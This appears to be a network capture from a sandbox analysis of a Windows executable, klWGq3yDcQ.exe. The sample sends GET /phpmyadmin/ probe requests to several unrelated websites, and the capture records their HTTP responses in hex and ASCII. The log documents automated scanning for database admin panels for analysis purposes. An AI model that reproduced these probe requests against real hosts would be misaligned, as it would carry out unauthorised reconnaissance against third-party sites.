2023-11-26 05:59:30 UTC	238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://117.20.63.148:2030/pma/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	55011	67.205.16.72	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: capforge.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	512	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 62 69 64 3d 61 61 61 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://capforge.com/wp-json/>; rel="https://api.w.org/"Set-Cookie: pbid=aaa
2023-11-26 05:59:31 UTC	6	IN	Data Raw: 64 35 33 62 0d 0a Data Ascii: d53b
2023-11-26 05:59:31 UTC	7800	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 69 74 65 6d 73 63 6f 70 65 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e Data Ascii: <!doctype html><html dir="ltr" lang="en-US" prefix="og: https://ogp.me/ns#" class="no-js" itemtype="https://schema.org/WebPage" itemscope><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1"><lin
2023-11-26 05:59:31 UTC	8192	IN	Data Raw: 2f 22 7d 2c 22 73 6f 63 69 61 6c 22 3a 7b 22 74 77 69 74 74 65 72 22 3a 22 6f 70 74 69 6d 69 7a 65 70 72 65 73 73 22 2c 22 66 61 63 65 62 6f 6f 6b 22 3a 22 6f 70 74 69 6d 69 7a 65 70 72 65 73 73 22 2c 22 67 6f 6f 67 6c 65 70 6c 75 73 22 3a 22 31 31 31 32 37 33 34 34 34 37 33 33 37 38 37 33 34 39 39 37 31 22 7d 2c 22 66 6c 6f 77 70 6c 61 79 65 72 48 54 4d 4c 35 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 5c 2f 77 70 2d 63 6f 6e 74 65 6e 74 5c 2f 70 6c 75 67 69 6e 73 5c 2f 6f 70 74 69 6d 69 7a 65 50 72 65 73 73 50 6c 75 67 69 6e 5c 2f 6c 69 62 5c 2f 6d 6f 64 75 6c 65 73 5c 2f 62 6c 6f 67 5c 2f 76 69 64 65 6f 5c 2f 66 6c 6f 77 70 6c 61 79 65 72 5c 2f 66 6c 6f 77 70 6c 61 79 65 72 2e 73 77 66 22 2c 22 66 6c 6f 77 70 6c 61 79 65 Data Ascii: /"},"social":{"twitter":"optimizepress","facebook":"optimizepress","googleplus":"111273444733787349971"},"flowplayerHTML5":"https:\/\/capforge.com\/wp-content\/plugins\/optimizePressPlugin\/lib\/modules\/blog\/video\/flowplayer\/flowplayer.swf","flowplaye
2023-11-26 05:59:31 UTC	8192	IN	Data Raw: 65 6d 65 6e 74 6f 72 2d 64 65 66 61 75 6c 74 20 65 6c 65 6d 65 6e 74 6f 72 2d 6b 69 74 2d 32 31 31 38 22 3e 3c 64 69 76 20 69 64 3d 22 77 72 61 70 70 65 72 22 20 63 6c 61 73 73 3d 22 73 69 74 65 20 77 70 2d 73 69 74 65 2d 62 6c 6f 63 6b 73 22 3e 20 3c 61 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6c 69 6e 6b 20 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 74 65 78 74 20 73 63 72 6f 6c 6c 2d 69 67 6e 6f 72 65 22 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 3c 68 65 61 64 65 72 20 69 64 3d 22 6d 61 73 74 68 65 61 64 22 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 22 20 72 6f 6c 65 3d 22 62 61 6e 6e 65 72 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 Data Ascii: ementor-default elementor-kit-2118"><div id="wrapper" class="site wp-site-blocks"> <a class="skip-link screen-reader-text scroll-ignore" href="#main">Skip to content</a><header id="masthead" class="site-header" role="banner" itemtype="https://schema.org/W
2023-11-26 05:59:31 UTC	8192	IN	Data Raw: 65 6e 75 2d 69 74 65 6d 2d 37 31 33 33 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 79 2f 64 65 6e 74 61 6c 2d 70 72 61 63 74 69 63 65 2d 74 69 70 73 2f 22 3e 44 65 6e 74 61 6c 20 50 72 61 63 74 69 63 65 20 54 69 70 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 37 31 33 34 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 74 61 78 6f 6e 6f 6d 79 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 61 74 65 67 6f 72 79 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 31 33 34 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 79 2f 69 6e 73 Data Ascii: enu-item-7133"><a href="https://capforge.com/category/dental-practice-tips/">Dental Practice Tips</a></li><li id="menu-item-7134" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-7134"><a href="https://capforge.com/category/ins
2023-11-26 05:59:31 UTC	8192	IN	Data Raw: 37 2d 30 2e 32 31 39 2d 31 2e 34 30 36 2d 30 2e 35 39 34 6c 2d 35 2e 33 35 39 2d 35 2e 33 34 34 63 2d 31 2e 38 32 38 20 31 2e 32 36 36 2d 34 2e 30 31 36 20 31 2e 39 33 37 2d 36 2e 32 33 34 20 31 2e 39 33 37 2d 36 2e 30 37 38 20 30 2d 31 31 2d 34 2e 39 32 32 2d 31 31 2d 31 31 73 34 2e 39 32 32 2d 31 31 20 31 31 2d 31 31 20 31 31 20 34 2e 39 32 32 20 31 31 20 31 31 63 30 20 32 2e 32 31 39 2d 30 2e 36 37 32 20 34 2e 34 30 36 2d 31 2e 39 33 37 20 36 2e 32 33 34 6c 35 2e 33 35 39 20 35 2e 33 35 39 63 30 2e 33 35 39 20 30 2e 33 35 39 20 30 2e 35 37 38 20 30 2e 38 37 35 20 30 2e 35 37 38 20 31 2e 34 30 36 7a 22 3e 3c 2f 70 61 74 68 3e 20 3c 2f 73 76 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 73 65 Data Ascii: 7-0.219-1.406-0.594l-5.359-5.344c-1.828 1.266-4.016 1.937-6.234 1.937-6.078 0-11-4.922-11-11s4.922-11 11-11 11 4.922 11 11c0 2.219-0.672 4.406-1.937 6.234l5.359 5.359c0.359 0.359 0.578 0.875 0.578 1.406z"></path> </svg></span></div></form></div></div></se
2023-11-26 05:59:31 UTC	8192	IN	Data Raw: 74 65 2d 68 65 61 64 65 72 2d 69 74 65 6d 2d 6d 6f 62 69 6c 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 6d 6f 62 69 6c 65 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 73 74 72 65 74 63 68 2d 66 61 6c 73 65 22 20 64 61 74 61 2d 73 65 63 74 69 6f 6e 3d 22 6b 61 64 65 6e 63 65 5f 63 75 73 74 6f 6d 69 7a 65 72 5f 6d 6f 62 69 6c 65 5f 6e 61 76 69 67 61 74 69 6f 6e 22 3e 3c 6e 61 76 20 69 64 3d 22 6d 6f 62 69 6c 65 2d 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 22 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 64 72 61 77 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 64 72 61 77 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 70 61 72 65 6e 74 2d 74 6f 67 67 6c 65 2d 74 72 75 65 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e Data Ascii: te-header-item-mobile-navigation mobile-navigation-layout-stretch-false" data-section="kadence_customizer_mobile_navigation"><nav id="mobile-site-navigation" class="mobile-navigation drawer-navigation drawer-navigation-parent-toggle-true" role="navigation
2023-11-26 05:59:31 UTC	5824	IN	Data Raw: 76 65 72 74 6b 69 74 5f 62 72 6f 61 64 63 61 73 74 73 5f 72 65 6e 64 65 72 22 2c 22 64 65 62 75 67 22 3a 22 22 7d 3b 3c 2f 73 63 72 69 70 74 3e 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 76 65 72 74 6b 69 74 2f 72 65 73 6f 75 72 63 65 73 2f 66 72 6f 6e 74 65 6e 64 2f 6a 73 2f 62 72 6f 61 64 63 61 73 74 73 2e 6a 73 3f 76 65 72 3d 32 2e 33 2e 37 22 20 69 64 3d 22 63 6f 6e 76 65 72 74 6b 69 74 2d 62 72 6f 61 64 63 61 73 74 73 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f Data Ascii: vertkit_broadcasts_render","debug":""};</script> <script src="https://capforge.com/wp-content/plugins/convertkit/resources/frontend/js/broadcasts.js?ver=2.3.7" id="convertkit-broadcasts-js"></script> <script src="https://capforge.com/wp-content/plugins/co
2023-11-26 05:59:31 UTC	3	IN	Data Raw: 6d 6c 3e Data Ascii: ml>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	53665	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	187	OUT	GET /phpmyadmin/ HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	1135	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveDate: Sun, 26 Nov 2023 05:59:30 GMTLocation: https://www.gatewaytoearlylearning.com/phpmyadminSet-Cookie: publis
2023-11-26 05:59:30 UTC	607	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 5a 43 4c 30 68 76 59 6d 5a 72 52 32 52 47 56 31 52 68 54 45 74 72 57 6b 34 33 55 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 56 6f 79 52 6d 64 33 54 58 51 7a 53 56 59 78 51 54 42 6f 61 47 63 35 4d 6d 52 4d 53 31 46 56 51 30 35 53 53 7a 68 71 55 55 6c 69 54 58 46 44 55 6b 59 7a 62 6b 4a 45 55 56 56 34 55 48 42 35 4f 44 42 48 4e 6e 70 4c 52 54 52 6a 53 6c 4e 48 4f 47 39 69 59 32 68 51 52 6a 5a 56 4d 45 39 32 54 56 70 58 61 6e 63 35 4e 45 4e 5a 56 44 52 73 59 6d 39 53 4d 31 46 76 51 57 70 57 59 33 4a 73 61 47 5a 7a 64 53 39 4a 5a 57 68 59 65 47 68 57 4d 54 6c 4b 53 55 52 4f 56 58 67 77 52 54 64 74 4c 31 4a 76 65 45 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6IlZCL0hvYmZrR2RGV1RhTEtrWk43UWc9PSIsInZhbHVlIjoibVoyRmd3TXQzSVYxQTBoaGc5MmRMS1FVQ05SSzhqUUliTXFDUkYzbkJEUVV4UHB5ODBHNnpLRTRjSlNHOG9iY2hQRjZVME92TVpXanc5NENZVDRsYm9SM1FvQWpWY3JsaGZzdS9JZWhYeGhWMTlKSUROVXgwRTdtL1JveE
2023-11-26 05:59:30 UTC	454	IN	Data Raw: 31 62 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 Data Ascii: 1ba<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.gatewaytoearlylearning.com/phpmyadmin'" /> <title>Redirecting to https://www.gatewaytoearlylearning.com/phpmyad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	55160	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:31 UTC	15911	IN	Data Raw: 37 39 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 7970<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:31 UTC	15190	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	55052	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	689	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 6b 38 73 70 65 72 73 69 73 74 65 6e 74 3d 64 62 63 65 30 34 33 66 64 35 37 37 33 65 34 36 31 31 35 39 30 35 63 66 31 61 36 39 39 32 62 38 7c 31 31 66 31 38 37 36 33 38 36 34 33 65 31 33 64 37 62 64 31 39 36 33 39 39 31 66 61 63 35 32 62 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 38 2d 4e 6f 76 2d 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d Data Ascii: HTTP/1.1 301 Moved Permanentlydate: Sun, 26 Nov 2023 05:59:30 GMTcontent-type: text/html; charset=utf-8content-length: 0set-cookie: k8spersistent=dbce043fd5773e46115905cf1a6992b8\|11f187638643e13d7bd1963991fac52b; Expires=Tue, 28-Nov-23 05:59:30 GM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	55178	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: Apache/2.4.52 (Ubuntu)vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=ut
2023-11-26 05:59:30 UTC	7930	IN	Data Raw: 35 38 33 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 Data Ascii: 5836<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pa
